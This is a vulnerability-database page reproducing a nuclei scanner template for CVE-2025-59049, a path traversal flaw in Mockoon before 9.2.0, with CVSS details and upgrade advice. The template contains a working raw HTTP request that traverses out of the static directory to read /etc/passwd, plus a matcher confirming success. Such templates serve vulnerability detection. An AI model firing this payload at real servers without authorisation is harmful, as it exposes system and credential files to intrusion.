Lucene search
K

Mockoon < 9.2.0 - Path Traversal

🗓️ 10 Jul 2026 03:01:38Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 12 Views

Mockoon before 9.2.0 allows path traversal and local file inclusion via unsafe templating of server filenames.

Related
Refs
Code
id: CVE-2025-59049

info:
  name: Mockoon < 9.2.0 - Path Traversal
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    Mockoon before 9.2.0 contains a path traversal and local file inclusion caused by unsafe templating of server filenames from user input, letting attackers read arbitrary files on the mock server filesystem, exploit requires crafted request.
  impact: |
    Attackers can read arbitrary files from the mock server filesystem through path traversal in static file serving, potentially exposing sensitive configuration and credential files.
  remediation: |
    Upgrade Mockoon to version 9.2.0 or later that properly validates and restricts file paths in template processing.
  reference:
    - https://github.com/mockoon/mockoon/security/advisories/GHSA-w7f9-wqc4-3wxr
    - https://github.com/mockoon/mockoon/commit/c7f6e23e87dc3b8cc44e5802af046200a797bd2e
    - https://nvd.nist.gov/vuln/detail/CVE-2025-59049
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-59049
    epss-score: 0.0166
    epss-percentile: 0.7387
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    vendor: mockoon
    product: mockoon
  tags: cve,cve2025,mockoon,lfi,path-traversal,vuln

variables:
  static_dir: "static"

http:
  - raw:
      - |
        GET /{{static_dir}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: content_type
        words:
          - "application/json"
# digest: 4a0a0047304502204e015b8193c3b84539630e33aba9805eae47200f7a57c6ca156412b645e4f509022100bbbe820621db058424b52cc6ccc62dba069bbc928b221bdbb97de22efeb29fe3:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
7.3High risk
Vulners AI Score7.3
CVSS 3.17.5
EPSS0.0166
SSVC
12